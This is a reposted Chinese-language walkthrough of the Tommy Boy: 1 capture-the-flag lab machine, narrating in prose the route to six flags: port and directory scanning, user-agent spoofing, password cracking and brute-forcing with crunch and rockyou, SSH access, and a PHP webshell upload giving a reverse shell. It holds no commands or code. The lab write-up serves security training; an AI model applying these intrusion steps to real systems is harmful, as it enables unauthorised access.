首先端口扫描出来了80端口和8008端口,都是http服务,对80端口进行目录枚举发现一堆空文件夹,nikto扫描出robots.txt,得到一堆图片和第一个flag,这些图片没有图片隐写,在网页的源码中给了一个油管的视频,里面有提示史前森林prehistoricforest这个目录,进去后访问到博客,在一个评论里找到了第二个flag,然后还有评论说将/prehistoricforest更改为/richard得到一张图片,strings打印得到一串MD5加密,得到密码spanky,在博客中有一个输入密码的地方,得知只有大汤姆的账号才能将备份文件还原,大汤姆的账号能够ssh登录,还得知存在ftp服务,并且得到账号和密码,再次端口扫描,ftp服务开启,得到一个txt文档,里面提示这台服务器上某个地方有个名为“NickIzL33t”的目录,80端口已经试过没有,那就只能在8008端口了,先对8008端口扫描,没有什么信息,进入网页提示只有作者和史蒂夫・乔布斯可以看见,这个史蒂夫・乔布斯是苹果的创始人,所以这里想到更换UA头就可以访问了,更换苹果的UA头就访问到了NickIzL33t目录进入NickIzL33t目录时提示需要html,进行爆破得到fallon1.html,访问,得到一个压缩包和第三个flag,并且提示密码的组成,通过crunch生成进行爆破,解压后得到几个用户密码但是都不对,但是提示了一个用户的密码在公司博客上,这时就需要去登录,但前面的都不行就只能爆破,这些大多包含tom,而且wpscan扫描的用户也有含tom的,从rockyou字典中提取含tom的进行爆破,登录成功后得到后半段,直接ssh登录,得到第4个flag,并且提示了第五个flag在根目录下,查看后发现是www-data用户的,这时就想到一句话木马,80端口太多了,直接去8008端口下找上传路径,使用find命令定位NickIzL33t目录,然后找到了uploads上传路径,将php文件上传伤处成功反弹shell,得到www-data用户,得到第五个flag,最后结合将大汤姆目录下的压缩包解压得到第六个flag,最终是没有提权的

原文始发于微信公众号(泷羽Sec-临观):打靶日记 Tommy Boy: 1-Walkthrough

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月15日11:13:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   打靶日记 Tommy Boy: 1-Walkthroughhttps://cn-sec.com/archives/4066687.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息